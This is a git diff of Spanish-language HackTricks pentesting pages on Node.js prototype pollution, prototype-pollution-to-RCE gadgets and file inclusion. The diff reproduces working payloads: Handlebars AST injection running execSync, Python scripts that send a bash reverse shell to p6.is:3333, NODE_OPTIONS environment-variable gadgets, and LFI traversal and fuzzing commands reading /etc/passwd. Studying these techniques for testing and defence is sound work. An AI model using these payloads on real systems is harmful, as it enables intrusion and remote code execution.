diff --git a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
index a3cf2ad10..d72155d9e 100644
--- a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
+++ b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
@@ -1,96 +1,55 @@
-# NodeJS - \_\_proto\_\_ y la contaminación del prototipo
+# NodeJS - \_\_proto\_\_ & prototype Pollution
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
## Objetos en JavaScript {alert("polluted")}
```
@@ -259,38 +221,38 @@ customer.__proto__.toString = ()=>{alert("polluted")}
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
{% endcontent-ref %}
-## Proto Pollution del lado del cliente a XSS
+## Prototype pollution en cliente a XSS
{% content-ref url="client-side-prototype-pollution.md" %}
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
{% endcontent-ref %}
-### CVE-2019–11358: Ataque de Proto Pollution a través de jQuery $ .extend
+### CVE-2019–11358: Ataque de prototype pollution a través de jQuery $ .extend
-$ .extend, si se maneja incorrectamente, puede cambiar las propiedades del objeto `prototype` (la plantilla de los objetos en la aplicación). Esta propiedad luego aparecerá en todos los objetos. Tenga en cuenta que solo la versión "profunda" (es decir, g) de $ .extened se ve afectada.
+$ .extend, si se maneja incorrectamente, puede cambiar las propiedades del objeto `prototype` (la plantilla de los objetos en la app). Este atributo aparecerá luego en todos los objetos. Note que solo la versión "profunda" (es decir, g) de $ .extend está afectada.
Los programadores a menudo usan esta función para duplicar un objeto o completar nuevas propiedades a partir de un objeto predeterminado. Por ejemplo:
-Podemos imaginar que `myObject` es un campo de entrada del usuario y se serializa en la base de datos.
+Podemos imaginar que `myObject` es un campo de entrada del usuario y se serializa en la DB)
-En este código, a menudo pensamos que, al ejecutarlo, se asignará el atributo `isAdmin` al objeto recién creado. Pero esencialmente, se asigna directamente a `{}` y luego `{}.isAdmin` será `true`. Si después de este código, realizamos la siguiente verificación:
+En este código, a menudo pensamos que, al ejecutarse, asignará el atributo `isAdmin` al objeto recién creado. Pero esencialmente, se asigna directamente a `{}` y luego `{}.isAdmin` será `true`. Si después de este código, realizamos la siguiente comprobación:
```javascript
If (user.isAdmin === true) {
- // do something for admin
+// do something for admin
}
```
-Si el usuario aún no existe (`undefined`), se buscará la propiedad `isAdmin` en su objeto padre, que es el objeto al que se le agregó `isAdmin` con el valor `true` anteriormente.
+Si el usuario aún no existe (`undefined`), la propiedad `isAdmin` se buscará en su objeto padre, que es el Objeto al que se le añadió `isAdmin` con el valor `true` arriba.
Otro ejemplo cuando se ejecuta en JQuery 3.3.1:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true
```
-Estos errores pueden afectar a muchos proyectos de Javascript, especialmente a los proyectos de NodeJS, el ejemplo más práctico es el error en Mongoose, la biblioteca JS que ayuda a manipular MongoDB, en diciembre de 2018.
+Estos errores pueden afectar a muchos proyectos de Javascript, especialmente a proyectos de NodeJS, el ejemplo más práctico es el error en Mongoose, la biblioteca de JS que ayuda a manipular MongoDB, en diciembre de 2018.
-### CVE-2018–3721, CVE-2019–10744: Ataque de polución de prototipos a través de lodash
+### CVE-2018–3721, CVE-2019–10744: Ataque de contaminación de prototipos a través de lodash
-[Lodash](https://www.npmjs.com/package/lodash) es también una biblioteca bien conocida que proporciona muchas funciones diferentes, ayudándonos a escribir código de manera más conveniente y ordenada con más de 19 millones de descargas semanales. Y tuvo el mismo problema que JQuery.
+[Lodash](https://www.npmjs.com/package/lodash) es también una biblioteca conocida que proporciona muchas funciones diferentes, ayudándonos a escribir código de manera más conveniente y ordenada con más de 19 millones de descargas semanales. Y tuvo el mismo problema que JQuery.
**CVE-2018–3721**
@@ -302,145 +264,143 @@ Este error afecta a todas las versiones de Lodash, ya corregido en la versión 4
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
-## Polución de prototipos AST
+## Contaminación de prototipos AST
-En NodeJS, AST se utiliza en JS con mucha frecuencia, como motores de plantillas y typescript, etc.\
-Para el motor de plantillas, la estructura es como se muestra arriba.
+En NodeJS, AST se usa en JS realmente a menudo, como motores de plantillas y typescript, etc.\
+Para el motor de plantillas, la estructura se muestra arriba.
-
+
### Handlebars
Información tomada de [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
-Puede insertar cualquier cadena en `Object.prototype.pendingContent` para determinar la posibilidad de un ataque.\
-Esto le permite estar seguro de que los servidores están utilizando el motor de Handlebars cuando existe una polución de prototipos en un entorno de caja negra.
+Puedes insertar cualquier cadena en `Object.prototype.pendingContent` para determinar la posibilidad de un ataque.\
+Esto te permite estar seguro de que los servidores están utilizando el motor handlebars cuando existe una contaminación de prototipos en un entorno de caja negra.
```javascript
...
appendContent: function appendContent(content) {
- if (this.pendingContent) {
- content = this.pendingContent + content;
- } else {
- this.pendingLocation = this.source.currentLocation;
- }
+if (this.pendingContent) {
+content = this.pendingContent + content;
+} else {
+this.pendingLocation = this.source.currentLocation;
+}
- this.pendingContent = content;
+this.pendingContent = content;
},
pushSource: function pushSource(source) {
- if (this.pendingContent) {
- this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
- this.pendingContent = undefined;
- }
+if (this.pendingContent) {
+this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
+this.pendingContent = undefined;
+}
- if (source) {
- this.source.push(source);
- }
+if (source) {
+this.source.push(source);
+}
}
...
```
-Esto se realiza mediante la función `appendContent` de `javascript-compiler.js`. `appendContent` es así. Si `pendingContent` está presente, se agrega al contenido y se devuelve.
-
-`pushSource` hace que `pendingContent` sea `undefined`, evitando que la cadena se inserte varias veces.
-
**Explotación**
Handlebars funciona como se muestra en el gráfico anterior.
-Después de que el lexer y el parser generan AST, se pasa a `compiler.js`. Podemos ejecutar la función de plantilla que el compilador generó con algunos argumentos. Y devuelve la cadena como "Hello posix" (cuando msg es posix).
+Después de que el lexer y el parser generan el AST, se pasa a `compiler.js`\
+Podemos ejecutar la función de plantilla que el compilador generó con algunos argumentos. y devuelve una cadena como "Hola posix" (cuando msg es posix)
```javascript
case 36:
- this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
- break;
+this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
+break;
```
-El analizador en handlebars fuerza el valor de un nodo cuyo tipo es NumberLiteral a ser siempre un número a través del constructor Number. Sin embargo, puedes insertar una cadena no numérica aquí usando la contaminación de prototipos.
+El analizador en handlebars fuerza el valor de un nodo cuyo tipo es NumberLiteral para que siempre sea un número a través del constructor Number. Sin embargo, puedes insertar una cadena no numérica aquí utilizando la contaminación de prototipos.
```javascript
function parseWithoutProcessing(input, options) {
- // Just return if an already-compiled AST was passed in.
- if (input.type === 'Program') {
- return input;
- }
+// Just return if an already-compiled AST was passed in.
+if (input.type === 'Program') {
+return input;
+}
- _parser2['default'].yy = yy;
+_parser2['default'].yy = yy;
- // Altering the shared object here, but this is ok as parser is a sync operation
- yy.locInfo = function (locInfo) {
- return new yy.SourceLocation(options && options.srcName, locInfo);
- };
+// Altering the shared object here, but this is ok as parser is a sync operation
+yy.locInfo = function (locInfo) {
+return new yy.SourceLocation(options && options.srcName, locInfo);
+};
- var ast = _parser2['default'].parse(input);
+var ast = _parser2['default'].parse(input);
- return ast;
+return ast;
}
function parse(input, options) {
- var ast = parseWithoutProcessing(input, options);
- var strip = new _whitespaceControl2['default'](options);
+var ast = parseWithoutProcessing(input, options);
+var strip = new _whitespaceControl2['default'](options);
- return strip.accept(ast);
+return strip.accept(ast);
}
```
-Primero, observa la función de compilación, la cual admite dos formas de entrada, un objeto AST y una cadena de plantilla.
+Primero, observa la función compile, la cual soporta dos formas de entrada, Objeto AST y cadena de plantilla.
-Cuando el tipo de entrada es `Program`, aunque el valor de entrada es una cadena, el analizador lo considera como si ya hubiera sido analizado por parser.js y lo envía al compilador sin ningún procesamiento adicional.
+cuando input.type es un `Program`, aunque el valor de entrada es en realidad una cadena.\
+El Parser considera que ya es un AST analizado por parser.js y lo envía al compilador sin ningún procesamiento.
```javascript
...
accept: function accept(node) {
- /* istanbul ignore next: Sanity code */
- if (!this[node.type]) {
- throw new _exception2['default']('Unknown type: ' + node.type, node);
- }
+/* istanbul ignore next: Sanity code */
+if (!this[node.type]) {
+throw new _exception2['default']('Unknown type: ' + node.type, node);
+}
- this.sourceNode.unshift(node);
- var ret = this[node.type](node);
- this.sourceNode.shift();
- return ret;
+this.sourceNode.unshift(node);
+var ret = this[node.type](node);
+this.sourceNode.shift();
+return ret;
},
Program: function Program(program) {
- console.log((new Error).stack)
- this.options.blockParams.unshift(program.blockParams);
+console.log((new Error).stack)
+this.options.blockParams.unshift(program.blockParams);
- var body = program.body,
- bodyLength = body.length;
- for (var i = 0; i < bodyLength; i++) {
- this.accept(body[i]);
- }
+var body = program.body,
+bodyLength = body.length;
+for (var i = 0; i < bodyLength; i++) {
+this.accept(body[i]);
+}
- this.options.blockParams.shift();
+this.options.blockParams.shift();
- this.isSimple = bodyLength === 1;
- this.blockParams = program.blockParams ? program.blockParams.length : 0;
+this.isSimple = bodyLength === 1;
+this.blockParams = program.blockParams ? program.blockParams.length : 0;
- return this;
+return this;
}
```
-El compilador toma el objeto AST (en realidad una cadena) y lo envía al método `accept`.\
-`accept` llama a `this[node.type]` del compilador.\
-Luego toma el atributo `body` del AST y lo utiliza para construir una función.
+El compilador, dado el objeto AST (en realidad una cadena), lo envía al método `accept`.\
+y `accept` llama a `this[node.type]` del compilador.\
+Luego toma el atributo body del AST y lo utiliza para construir la función.
```javascript
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
- "type": "MustacheStatement",
- "path": 0,
- "params": [{
- "type": "NumberLiteral",
- "value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
- }],
- "loc": {
- "start": 0,
- "end": 0
- }
+"type": "MustacheStatement",
+"path": 0,
+"params": [{
+"type": "NumberLiteral",
+"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
+}],
+"loc": {
+"start": 0,
+"end": 0
+}
}];
@@ -451,26 +411,26 @@ console.log(eval('(' + template + ')')['main'].toString());
/*
function (container, depth0, helpers, partials, data) {
- var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
- if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
- return parent[propertyName];
- }
- return undefined
- };
+var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
+if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
+return parent[propertyName];
+}
+return undefined
+};
- return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
- "name": "undefined",
- "hash": {},
- "data": data,
- "loc": {
- "start": 0,
- "end": 0
- }
- })) != null ? stack1 : "");
+return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
+"name": "undefined",
+"hash": {},
+"data": data,
+"loc": {
+"start": 0,
+"end": 0
+}
+})) != null ? stack1 : "");
}
*/
```
-Como resultado, un ataque puede ser configurado de la siguiente manera. Si se ha pasado por el analizador, se especifica una cadena que no puede ser asignada al valor de NumberLiteral. Pero si se procesa el AST inyectado, podemos insertar cualquier código en la función.
+Como resultado, un ataque puede configurarse de esta manera. Si has pasado por el analizador, especifica una cadena que no pueda asignarse al valor de NumberLiteral. Pero una vez procesado el AST inyectado, podemos insertar cualquier código en la función.
**Ejemplo**
@@ -482,19 +442,19 @@ TARGET_URL = 'http://p6.is:3000'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
- "__proto__.type": "Program",
- "__proto__.body": [{
- "type": "MustacheStatement",
- "path": 0,
- "params": [{
- "type": "NumberLiteral",
- "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
- }],
- "loc": {
- "start": 0,
- "end": 0
- }
- }]
+"__proto__.type": "Program",
+"__proto__.body": [{
+"type": "MustacheStatement",
+"path": 0,
+"params": [{
+"type": "NumberLiteral",
+"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
+}],
+"loc": {
+"start": 0,
+"end": 0
+}
+}]
})
# execute
@@ -510,10 +470,10 @@ TARGET_URL = 'http://p6.is:3000'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
- "__proto__.block": {
- "type": "Text",
- "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
- }
+"__proto__.block": {
+"type": "Text",
+"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
+}
})
# execute
@@ -523,10 +483,10 @@ requests.get(TARGET_URL)
* Congelar propiedades con Object.freeze (Object.prototype)
* Realizar validación en las entradas JSON de acuerdo con el esquema de la aplicación
-* Evitar el uso de funciones de combinación recursiva de manera insegura
+* Evitar el uso de funciones de fusión recursiva de manera insegura
* Usar objetos sin propiedades de prototipo, como `Object.create(null)`, para evitar afectar la cadena de prototipos
* Usar `Map` en lugar de `Object`
-* Actualizar regularmente nuevos parches para las bibliotecas
+* Actualizar regularmente nuevos parches para bibliotecas
## Referencia
@@ -536,12 +496,14 @@ requests.get(TARGET_URL)
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
diff --git a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
index be0fd3be2..a6f715823 100644
--- a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
+++ b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
@@ -1,24 +1,26 @@
-# Polución de Prototipos en el Lado del Cliente
+# Contaminación de Prototipos en el Cliente
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
-## Descubriendo usando herramientas automáticas
+## Descubrimiento usando Herramientas Automáticas
-Las herramientas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **y** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) se pueden utilizar para **encontrar vulnerabilidades de polución de prototipos**.
+Las herramientas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **y** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) pueden ser utilizadas para **encontrar vulnerabilidades de contaminación de prototipos**.
-Además, también puedes usar la **extensión del navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automáticamente** las **páginas** a las que accedes en busca de vulnerabilidades de polución de prototipos.
+Además, también podrías usar la **extensión de navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automáticamente** las **páginas** que **accedes** en busca de vulnerabilidades de contaminación de prototipos.
-### Depuración de dónde se utiliza una propiedad
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende AWS hacking de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
diff --git a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
index f0c075e88..67c905c99 100644
--- a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
+++ b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
@@ -1,20 +1,22 @@
-# Prototype Pollution para RCE
+# De la Contaminación de Prototipos a RCE
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
## Código Vulnerable
-Imagina un JS real que utiliza un código como el siguiente:
+Imagina un JS real utilizando algún código como el siguiente:
```javascript
const { execSync, fork } = require('child_process');
@@ -49,9 +51,9 @@ var proc = fork('a_file.js');
```
## PP2RCE a través de variables de entorno
-**PP2RCE** significa **Prototype Pollution to RCE** (Ejecución Remota de Código).
+**PP2RCE** significa **Prototype Pollution a RCE** (Ejecución de Código Remoto).
-Según este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando se crea un **proceso** con algún método de **`child_process`** (como `fork` o `spawn` u otros), se llama al método `normalizeSpawnArguments`, el cual utiliza un **gadget de prototype pollution para crear nuevas variables de entorno**:
+De acuerdo con este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando un **proceso es iniciado** con algún método de **`child_process`** (como `fork`, `spawn` u otros) se llama al método `normalizeSpawnArguments` el cual es un **gadget de prototype pollution para crear nuevas variables de entorno**:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@@ -71,17 +73,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
-Verifica ese código y podrás ver que es posible envenenar `envPairs` simplemente **contaminando** el atributo `.env`.
+Revisa ese código, puedes ver que es posible **envenenar `envPairs`** simplemente **contaminando** el **atributo `.env`.**
-### Contaminando `__proto__`
+### **Envenenando `__proto__`**
{% hint style="warning" %}
-Ten en cuenta que debido a cómo funciona la función **`normalizeSpawnArguments`** de la biblioteca **`child_process`** de Node, cuando se llama algo para **establecer una nueva variable de entorno** para el proceso, solo necesitas **contaminar cualquier cosa**.
+Ten en cuenta que debido a cómo funciona la función **`normalizeSpawnArguments`** de la biblioteca **`child_process`** de node, cuando se llama algo para **establecer una nueva variable de entorno** para el proceso, solo necesitas **contaminar cualquier cosa**.\
Por ejemplo, si haces `__proto__.avar="valuevar"`, el proceso se iniciará con una variable llamada `avar` con el valor `valuevar`.
-Sin embargo, para que la **variable de entorno sea la primera**, debes **contaminar** el atributo **`.env`** y (solo en algunos métodos) esa variable será la **primera** (permitiendo el ataque).
+Sin embargo, para que la **variable de entorno sea la primera**, necesitas **contaminar** el **atributo `.env`** y (solo en algunos métodos) esa variable será la **primera** (permitiendo el ataque).
-Por eso **`NODE_OPTIONS`** no está dentro de `.env` en el siguiente ataque.
+Es por eso que **`NODE_OPTIONS`** **no está dentro de `.env`** en el siguiente ataque.
{% endhint %}
{% code overflow="wrap" %}
@@ -106,9 +108,7 @@ clone(USERINPUT);
var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
```
-{% code %}
-
-### Envenenando `constructor.prototype`
+### Envenenamiento de `constructor.prototype`
```javascript
const { execSync, fork } = require('child_process');
@@ -131,10 +131,10 @@ var proc = fork('a_file.js');
```
## PP2RCE a través de variables de entorno + línea de comandos
-Se propuso una carga útil similar a la anterior con algunos cambios en [**este artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Las principales diferencias son:
+Un payload similar al anterior con algunos cambios fue propuesto en [**este artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Las principales diferencias son:
-* En lugar de almacenar la **carga útil** de nodejs dentro del archivo `/proc/self/environ`, se almacena dentro de **argv0** de **`/proc/self/cmdline`**.
-* Luego, en lugar de requerir a través de **`NODE_OPTIONS`** el archivo `/proc/self/environ`, se **requiere `/proc/self/cmdline`**.
+* En lugar de almacenar el **payload** de nodejs dentro del archivo `/proc/self/environ`, lo almacena **dentro de argv0** de **`/proc/self/cmdline`**.
+* Luego, en lugar de requerir a través de **`NODE_OPTIONS`** el archivo `/proc/self/environ`, **requiere `/proc/self/cmdline`**.
{% code overflow="wrap" %}
```javascript
@@ -160,9 +160,9 @@ var proc = fork('a_file.js');
```
{% endcode %}
-## Interacción con DNS
+## Interacción DNS
-Utilizando las siguientes cargas útiles, es posible abusar de la variable de entorno NODE\_OPTIONS que hemos discutido anteriormente y detectar si funcionó con una interacción con DNS:
+Usando los siguientes payloads es posible abusar de la variable de entorno NODE\_OPTIONS que hemos discutido previamente y detectar si funcionó con una interacción DNS:
```json
{
"__proto__": {
@@ -172,7 +172,7 @@ Utilizando las siguientes cargas útiles, es posible abusar de la variable de en
}
}
```
-O, para evitar que los WAF soliciten el dominio:
+O, para evitar WAFs que solicitan el dominio:
```json
{
"__proto__": {
@@ -182,13 +182,13 @@ O, para evitar que los WAF soliciten el dominio:
}
}
```
-## Vulnerabilidad PP2RCE en las funciones de child\_process
+## Vulnerabilidad PP2RCE en funciones de child\_process
-En esta sección vamos a analizar **cada función de `child_process`** para ejecutar código y ver si podemos utilizar alguna técnica para forzar que esa función ejecute código:
+En esta sección vamos a analizar **cada función de `child_process`** para ejecutar código y ver si podemos usar alguna técnica para forzar a esa función a ejecutar código:
-Explotación de `exec`
+exec explotación
-execFile explotaciónExplotación de execFile
-Explotación de fork
+fork explotación
-execFileSync explotaciónExplotación de execFileSync
-spawnSync explotaciónExplotación de spawnSync
-### Estableciendo la ruta del archivo requerido a través de la contaminación del prototipo
+### Establecer la ruta del archivo require a través de la contaminación de prototipos
{% hint style="warning" %}
La **técnica anterior requiere** que el **usuario controle la ruta del archivo** que va a ser **requerido**. Pero esto no siempre es cierto.
{% endhint %}
-Sin embargo, si el código va a ejecutar un require después de la contaminación del prototipo, incluso si **no controlas la ruta** que se va a requerir, **puedes forzar una diferente abusando de la contaminación del prototipo**. Por lo tanto, aunque la línea de código sea como `require("./a_file.js")` o `require("bytes")`, se **requerirá el paquete que has contaminado**.
+Sin embargo, si el código va a ejecutar un require después de la contaminación de prototipos, incluso si **no controlas la ruta** que va a ser requerida, **puedes forzar una diferente abusando de la contaminación de prototipos**. Así que incluso si la línea de código es como `require("./a_file.js")` o `require("bytes")`, requerirá **el paquete que has contaminado**.
-Por lo tanto, si se ejecuta un require después de la contaminación del prototipo y no hay una función de ejecución de spawn, este es el ataque:
+Por lo tanto, si se ejecuta un require después de tu contaminación de prototipos y no hay función spawn, este es el ataque:
-* Encuentra un **archivo `.js` dentro del sistema** que cuando se **requiera** ejecutará algo usando `child_process`
-* Si puedes subir archivos a la plataforma que estás atacando, puedes subir un archivo así
+* Encuentra un archivo **`.js` dentro del sistema** que al ser **requerido** ejecute algo usando `child_process`
+* Si puedes subir archivos a la plataforma que estás atacando, podrías subir un archivo así
* Contamina las rutas para **forzar la carga del archivo `.js`** que ejecutará algo con child\_process
* **Contamina el environ/cmdline** para ejecutar código arbitrario cuando se llame a una función de ejecución de child\_process (ver las técnicas iniciales)
-#### Requerimiento absoluto
+#### Require absoluto
-Si el require realizado es **absoluto** (`require("bytes")`) y el **paquete no contiene main** en el archivo `package.json`, puedes **contaminar el atributo `main`** y hacer que el **require ejecute un archivo diferente**.
+Si el require ejecutado es **absoluto** (`require("bytes")`) y el **paquete no contiene main** en el archivo `package.json`, puedes **contaminar el atributo `main`** y hacer que el **require ejecute un archivo diferente**.
{% tabs %}
{% tab title="exploit" %}
@@ -612,10 +612,12 @@ clone(USERINPUT);
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```
+```markdown
{% endcode %}
{% endtab %}
{% tab title="malicious.js" %}
+```
```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
@@ -668,7 +670,7 @@ fork('/path/to/anything');
#### Relative require - 3
-Similar al anterior, esto se encontró en [**este informe**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
+Similar al anterior, esto se encontró en [**este writeup**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
@@ -687,19 +689,23 @@ Object.prototype.env = {
require('./usage.js')
```
-## Dispositivos VM
+## VM Gadgets
-En el artículo [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) también se indica que el control de **`contextExtensions`** desde algunos métodos de la biblioteca **`vm`** podría ser utilizado como un dispositivo.\
-Sin embargo, al igual que los métodos anteriores de **`child_process`**, ha sido **corregido** en las últimas versiones.
+En el paper [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) también se indica que el control de **`contextExtensions`** de algunos métodos de la biblioteca **`vm`** podría usarse como un gadget.\
+Sin embargo, como los métodos anteriores de **`child_process`**, ha sido **corregido** en las últimas versiones.
-## Soluciones y protecciones inesperadas
+## Correcciones & Protecciones inesperadas
-Por favor, tenga en cuenta que la contaminación del prototipo funciona si el **atributo** de un objeto al que se accede está **indefinido**. Si en el **código** se **establece** un **valor** para ese **atributo**, no podrás sobrescribirlo.
+Por favor, ten en cuenta que la contaminación de prototipos funciona si el **atributo** de un objeto que se está accediendo es **undefined**. Si en el **código** ese **atributo** tiene un **valor asignado**, **no podrás sobrescribirlo**.
-En junio de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` en lugar de ser `{}` es un **`kEmptyObject`**. Esto **evita que la contaminación del prototipo** afecte a los **atributos** de **`options`** para obtener RCE.\
-Al menos desde la versión 18.4.0, esta protección ha sido **implementada**, por lo que los exploits de `spawn` y `spawnSync` que afectan a los métodos ya no funcionan (¡si no se utilizan `options`!).
+En junio de 2022 desde [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) la variable `options` en lugar de ser un `{}` es un **`kEmptyObject`**. Lo cual **previene la contaminación de prototipos** de afectar los **atributos** de **`options`** para obtener RCE.\
+Al menos desde la versión 18.4.0 esta protección ha sido **implementada**, y por lo tanto los **exploits** de `spawn` y `spawnSync` que afectan a los métodos **ya no funcionan** (¡si no se usan `options`!).
-En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la contaminación del prototipo de **`contextExtensions`** de la biblioteca vm también se **corrigió** estableciendo las opciones en \*\*`kEmptyObject` \*\* en lugar de **`{}`.**
+En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) la **contaminación de prototipos** de **`contextExtensions`** de la biblioteca vm fue **también de cierta forma corregida** estableciendo las opciones a **`kEmptyObject`** en lugar de **`{}`.**
+
+### **Otros Gadgets**
+
+* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
## Referencias
@@ -710,12 +716,14 @@ En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
diff --git a/pentesting-web/file-inclusion/README.md b/pentesting-web/file-inclusion/README.md
index 62f95a728..2f1bdc077 100644
--- a/pentesting-web/file-inclusion/README.md
+++ b/pentesting-web/file-inclusion/README.md
@@ -1,14 +1,16 @@
-# Inclusión de Archivos/Travesía de Directorios
+# Inclusión de Archivos/Travesía de Rutas
-☁️ HackTricks Cloud ☁️ 🐦 Twitter 🐦 🎙️ Twitch 🎙️ 🎥 Youtube 🎥 Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert) !
@@ -29,7 +31,7 @@ Mantente informado con los lanzamientos de nuevas recompensas por errores y actu
## Inclusión de Archivos
-**Inclusión Remota de Archivos (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow\_url\_include**).\
+**Inclusión Remota de Archivos (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow\_url\_include**).\
**Inclusión Local de Archivos (LFI):** El servidor carga un archivo local.
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
@@ -38,7 +40,7 @@ La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el a
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
-## Ciego - Interesante - Archivos LFI2RCE
+## Archivos Ciegos - Interesantes - LFI2RCE
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
@@ -120,11 +122,11 @@ http://example.com/index.php?page=private/../../../../etc/passwd # we went deepe
* si obtienes el contenido de `/etc/passwd`, has validado que efectivamente existe una carpeta `private` en tu directorio actual
